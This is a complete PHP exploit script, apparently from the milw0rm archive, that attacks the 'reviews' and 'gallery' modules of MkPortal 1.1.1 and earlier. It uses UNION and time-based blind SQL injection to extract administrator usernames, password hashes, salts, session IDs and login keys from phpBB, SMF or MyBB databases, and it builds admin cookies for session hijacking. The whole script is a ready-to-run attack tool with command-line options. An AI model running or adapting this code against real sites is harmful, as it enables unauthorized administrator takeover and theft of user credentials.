MkPortal <= 1.1.1 reviews / gallery modules SQL Injection Exploit

                                                <?php

/*
[i] MkPortal "reviews" and "gallery" modules SQL Injection Exploit
[i] Vulnerable versions: MkPortal <= 1.1.1
[i] Bug discovered by: Coloss
[i] Exploit by: Coloss
[i] Date: 06.07.2007
[i] This is priv8 not for kids

[Notes]
At this time MkPortal 1.1.1 is the latest stable release
Currently implemented: phpbb, smf and mybb
*/


$exptime = 3600;
$stcnt = 300000;
$maxnull = 5;

$opts = getopt("u:U:P:f:m:d:o:");

$vars = array ( "phpbb", "1 UNION SELECT %s FROM phpbb_users WHERE user_id=2",
                "phpbb_sid", "1 UNION SELECT %s FROM phpbb_sessions WHERE session_user_id=2 ORDER BY descrizione DESC LIMIT 1",
                "smf", "1 UNION SELECT %s FROM smf_members WHERE ID_MEMBER=1",
                "mybb", "1 UNION SELECT %s FROM mybb_users WHERE uid=1",
);


print
"[i] MkPortal \"reviews\" and \"gallery\" modules SQL Injection Exploit
[i] Vulnerable versions: MkPortal <= 1.1.1
[i] Bug discovered by: Coloss
[i] Exploit by: Coloss
[i] Date: 06.07.2007
[i] This is priv8 not for kids\n\n";


if ($opts[u] == '')
        die(help($argv[0]));

if (!strncmp($opts[u], "http", 4))
        $url = $opts[u];
else
        $url = "http://".$opts[u];

if ($opts[U])
        $user = $opts[U];
if ($opts[P])
        $pass = $opts[P];
if ($opts[f])
        $forum = $opts[f];
if ($opts[m])
        $met = $opts[m];
if ($opts[o])
        $file = $opts[o];
if ($opts[d])
        $dir = $opts[d];

$cookies = '';
$delay = $min = $max = $mid = 0;
$fld1 = $fld2 = '';

if (!$forum)
        die("[X] You haven't specified any forum type!\n");

echo "[+] Target: $url [$forum]\n\n";

exploit();


function exploit_gallery ($f)
{
        global $cookies, $url, $fld1, $fld2;
        $sql = get_sql($f);
        $str = "NULL,".$fld1.",".$fld2.",NULL,NULL";
        $req = sprintf($sql, $str);

        $u = $url."index.php?ind=gallery&op=edit_file&iden=".urlencode($req);
        $html = Send($u, NULL, $cookies);
        if (strstr($html, "ERROR: Database error"))
                die("[X] SQL Query Error.. probably wrong table prefix\n");
        else if (strstr($html, "<title>Error</title>"))
                die("[X] This method failed. Try something else\n");

        $var1 = get_string($html,"name=\"titolo\" value=\"","\"");
        $var2 = get_string($html,"name=\"descrizione\" class=\"bgselect\">","<");

        return ($var1." ".$var2);
}

function get_delay ($cnt, $f, $u)
{
        global $url, $cookies, $fld1, $fld2, $met;

        $sql = get_sql($f);

        if (strstr($met, "gallery"))
                $str = "NULL,".$fld1.",".$fld2.",NULL,NULL";
        else
                $str = $fld1;

        $inj = sprintf($sql, $str);

        if (strstr($inj, "ORDER BY")) {
                list($base, $order) = explode("ORDER BY", $inj);
                $inj = $base."AND IF(ORD(LOWER(SUBSTR(%s,%d,1)))%s,1,BENCHMARK(%d,MD5(31337))) ORDER BY". $order;
        }
        else
                $inj .= " AND IF(ORD(SUBSTR(%s,%d,1))%s,1,BENCHMARK(%d,MD5(31337)))";

        $req = sprintf($inj, $fld1, 1, "=1", $cnt);
        $u .= urlencode($req);

        $start = getmicrotime();
        Send($u, NULL, $cookies);
        $end = getmicrotime();

        $delay = intval(10 * ($end - $start));
        return $delay;
}

function get_normaldelay ($f, $u)
{
        global $stcnt;

        $na = get_delay(1,$f,$u);
        $da = get_delay($stcnt,$f,$u);
        $nb = get_delay(1,$f,$u);
        $db = get_delay($stcnt,$f,$u);
        $nc = get_delay(1,$f,$u);
        $dc = get_delay($stcnt,$f,$u);

        $mean_delayed = intval(($da + $db + $dc) / 3);
        if ($mean_delayed < 2)
                die("Failed. The Answer was too rapid, probably you have not enough privileges\n");
        return $mean_delayed;
}

function exploit_blind ($sql, $u, $field)
{
        global $cookies, $stcnt, $delay, $min, $max, $mid;

        $cnt = $stcnt * 4;

        echo "[->] Trying to find value for '".$field."'\n";

        for ($i = 1; $i < 51; $i++) {
                for ($j = $min; $j <= $max; $j++) {
                        if ($j == $mid)
                                $j = 97;
                        $req = sprintf($sql, $field, $i, "=$j", $cnt);
                        $ur = $u.urlencode($req);
                        $start = getmicrotime();
                        Send($ur, NULL, $cookies);
                        $end = getmicrotime();

                        $dtime = intval(10 * ($end - $start));
                        if ($dtime > ($delay * 2)) {
                                $out .= chr($j);
                                echo "[+] Current value for '".$field."' (".$i."): ".$out."\n";
                                break;
                        }
                        if ($j == $max)
                                $i = 41;
                }
        }
        if ($out)
                echo "\n[->] Found value for '".$field."': ".$out."\n\n";
        return $out;
}


function exploit_gallery_blind ($f)
{
        global $fld1, $fld2, $url;

        $str = "NULL,".$fld1.",".$fld2.",NULL,NULL";
        $sql = get_sql($f);
        $inj = sprintf($sql, $str);

        $u = $url."index.php?ind=gallery&op=edit_file&iden=";

        $var1 = exploit_init_blind($f, $u, $inj, $fld1);
        $var2 = exploit_init_blind($f, $u, $inj, $fld2);

        return ($var1." ".$var2);
}

function exploit_reviews ($f)
{
        global $fld1, $fld2, $url;

        $u = $url."index.php?ind=reviews&op=update_file&iden=";
        $sql = get_sql($f);

        $inj = sprintf($sql, $fld1);
        $var1 = exploit_init_blind($f, $u, $inj, $fld1);

        $inj = sprintf($sql, $fld2);
        $var2 = exploit_init_blind($f, $u, $inj, $fld2);

        return ($var1." ".$var2);
}

function exploit_init_blind ($f, $u, $inj, $field)
{
        global $cookies, $delay, $fld1, $fld2, $mid;

        if (strstr($inj, "ORDER BY")) {
                list($base, $order) = explode("ORDER BY", $inj);
                if ($mid == 58)
                        $inj = $base."AND IF(ORD(LOWER(SUBSTR(%s,%d,1)))%s,BENCHMARK(%d,MD5(31337)),1) ORDER BY". $order;
                else
                        $inj = $base."AND IF(ORD(SUBSTR(%s,%d,1))%s,BENCHMARK(%d,MD5(31337)),1) ORDER BY". $order;
        }
        else {
                if ($mid == 58)
                        $inj .= " AND IF(ORD(LOWER(SUBSTR(%s,%d,1)))%s,BENCHMARK(%d,MD5(31337)),1)";
                else
                        $inj .= " AND IF(ORD(SUBSTR(%s,%d,1))%s,BENCHMARK(%d,MD5(31337)),1)";
        }

        echo "[->] Starting blind sql injection!\n";

        echo "[+] Getting standard response delay... ";
        $delay = get_normaldelay($f,$u);
        echo $delay."ds\n\n";

        $var = exploit_blind($inj, $u, $field);
        if (strstr($f, "sid") && !$var)
                die("[X] Probably there are more sid in the table.. so we cannot fetch it.. retry later.\n");

        return $var;
}

function get_data ($f)
{
        global $met;

        switch ($met) {
                case 'reviews':
                        $res = exploit_reviews($f); break;
                case 'gallery-blind':
                        $res = exploit_gallery_blind($f); break;
                case 'gallery':
                        $res = exploit_gallery($f); break;
                default:
                        die("[X] Invalid exploit method specified\n");
        }
        return $res;
}

function phpbb_exploit ()
{
        global $dir, $url, $user, $pass, $cookies, $forum, $exptime, $fld1, $fld2, $min, $max, $mid;

        if ($user && $pass) {
                echo "[+] Logging in... ";

                $u = $url.$dir."login.php?login=true";
                $post = "username=".$user."&password=".$pass."&redirec=portalhome&submit=Login";

                $html = Send($u, $post, NULL, TRUE);

                $lines = explode("\n", $html);

                foreach($lines as $line) {
                        if (strstr($line, "Set-Cookie") && strstr($line, "sid")) {
                                $cookies = get_string($line, "Set-Cookie: ", ";");
                                $c++;
                        }
                }
                if (!$cookies || $c < 2)
                        die("Failed\n");
                echo "Successfull\n\n";
        }

        $fld1 = "username"; $fld2 = "user_password";
        $min = 48; $max = 122; $mid = 58;

        $res = get_data($forum);
        list($auesr, $apwd) = explode(" ", $res);
        if ($auser && strlen($apwd) == 32) {
                owrite("\n[+] Target: $url [$forum]\n");
                owrite("[->] Found admin username: '".$auser."'\n");
                owrite("[->] Found admin hash password: '".$apwd."'\n");
        }
        else
                die("[X] Failed to retrive informations\n");

        $fld1 = "session_id"; $fld2 = "session_time";
        $max = 102;

        $res = get_data($forum."_sid");
        list($sid,$start) = explode(" ", $res);
        if ($sid && strlen($sid) == 32) {
                $t = (int) (time() - $start - $exptime);
                if ($t >= 0)
                        echo "[!] Found admin sid ('".$sid."') but it should not be valid anymore\n";
                else
                        owrite("[->] Found admin sid: '".$sid."' valid for ~".abs($t)."s\n");
        }
        else
                echo "[!] No admin sid was found\n";
}

function smf_exploit ()
{
        global $user, $pass, $url, $dir, $cookies, $forum, $fld1, $fld2, $min, $max;

        $base = 'a:4:{i:0;s:1:"1";i:1;s:40:"%s";i:2;i:1184000000;i:3;i:0;}';

        if ($user && $pass) {
                echo "[+] Logging in... ";

                $u = $url.$dir."index.php?action=login2";
                $post = "user=".$user."&passwrd=".$pass."&cookieneverexp=on&submit=Login";
                $html = Send($u, $post, NULL, TRUE);

                $lines = explode("\n", $html);
                foreach($lines as $line) {
                        if (strstr($line, "Set-Cookie") && !strstr($line, "PHPSESSID"))
                                $cookies = get_string($line, "Set-Cookie: ", ";");
                }
                if (!$cookies)
                        die("Failed\n");
                echo "Successfull\n\n";
        }

        $fld1 = "passwd"; $fld2 = "passwordSalt";
        $min = 48; $max = 102; $mid = 58;

        $res = get_data($forum);
        list($pwd,$salt) = explode(" ", $res);
        if ($pwd && strlen($pwd) == 40 && strlen($salt) == 4) {
                $pass = $pwd.$salt;
                $pass = sha1($pass);
                $cookie = sprintf($base, $pass);
                list($cname) = explode("=", $cookies);
                owrite("\n[+] Target: $url [$forum]\n");
                owrite("[+] Found admin cookie '".$cname."': '".urlencode($cookie)."'\n");
        }
        else
                die("[X] Failed to retrive informations\n");
}

function mybb_exploit ()
{
        global $user, $pass, $url, $dir, $cookies, $forum, $fld1, $fld2, $min, $max, $mid;

        if ($user && $pass) {
                echo "[+] Logging in... ";

                $u = $url.$dir."member.php";
                $post = "username=".$user."&password=".$pass."&action=do_login&submit=Login";
                $html = Send($u, $post, NULL, TRUE);

                $lines = explode("\n", $html);
                foreach($lines as $line) {
                        if (strstr($line, "Set-Cookie") && !strstr($line, "PHPSESSID") && !strstr($line, "[last") && !strstr($line,  
" sid=")) {
                                $cookies = get_string($line, "Set-Cookie: ", ";");
                        }
                }
                if (!$cookies)
                        die("Failed\n");
                echo "Successfull\n\n";
        }

        $fld1 = "loginkey"; $fld2 = "username";
        $min = 48; $max = 122; $mid = 91;

        $res = get_data($forum);
        list($key,$auser) = explode(" ", $res);
        if ($key && strlen($key) == 50) {
                $cookie = sprintf($base, $pass);
                list($cname) = explode("=", $cookies);
                owrite("\n[+] Target: $url [$forum]\n");
                owrite("[+] Found admin cookie '".$cname."': '1_".$key."'\n");
        }
        else
                die("[X] Failed to retrive informations\n");

        $fld1 = "password"; $fld2 = "salt";

        $res = get_data($forum);
        list($apwd,$salt) = explode(" ", $res);
        if ($apwd && strlen($apwd) == 32 && $salt && strlen($salt) == 8) {
                owrite("[+] Found admin hash password: '".$apwd."'\n");
                owrite("[+] Found admin password salt: '".$salt."'\n");
        }
        else
                echo "[!] No admin sid was found\n";
}

function exploit ()
{
        global $forum;

        switch ($forum) {
                case 'phpbb':
                        phpbb_exploit(); break;
                case 'smf':
                        smf_exploit(); break;
                case 'mybb':
                        mybb_exploit(); break;
                default:
                        die("Failed. Cannot handle this type of forum\n");
        }
}

function get_string ($str, $start, $end)
{
        $res = substr($str, strpos($str, $start)+strlen($start),strpos(substr($str, strpos($str, 
$start)+strlen($start),strlen($str)), $end));
        return $res;
}

function get_sql ($var)
{
        global $vars;

        for ($i = 0, $j = 1; $vars[$i]; $i++, $j++) {
                if ($vars[$i] == $var)
                        return $vars[$j];
        }
}

function getmicrotime()
{
        list($usec, $sec) = explode(" ", microtime());
        return ((float)$usec + (float)$sec);
}

function Send($url, $post_fields='', $cookie = '', $headers = FALSE)
{
        $ch = curl_init();
        $timeout = 120;

        curl_setopt ($ch, CURLOPT_URL, $url);
        curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);

        if ($post_fields) {
                curl_setopt($ch, CURLOPT_POST, 1);
                curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
        }

        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
        curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)');

        if(!empty($cookie))
                curl_setopt ($ch, CURLOPT_COOKIE, $cookie);

        if($headers === TRUE)
                curl_setopt ($ch, CURLOPT_HEADER, TRUE);
        else
                curl_setopt ($ch, CURLOPT_HEADER, FALSE);

        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);

        $fc = curl_exec($ch);
        curl_close($ch);

        return $fc;
}

function owrite ($msg)
{
        global $file, $debug;

        echo $msg;

        if ($file) {
                if (!($h = fopen($file, 'ab')) && $debug) {
                        echo "[X] Cannot open '$file'\n";
                        return;
                }
                if (fwrite($h, $msg) === FALSE && $debug)
                        echo "[X] Cannot write to '$file'\n";
                fclose($h);
        }
}

function help ($prog)
{
        print "[-] Usage: $prog
         -u  <url>      -> Sets Target url
        [-U] <user>     -> Your username
        [-P] <hash>     -> Your password
        [-f] <type>     -> Sets Forum type (phpbb, smf or mybb)
        [-m] <method>   -> Which method do you want to use (gallery or reviews)
        [-d] <dir>      -> Sets forum subdirectory
        [-o] <file>     -> Writes results to a file\n";
}

?>

# milw0rm.com [2007-07-12]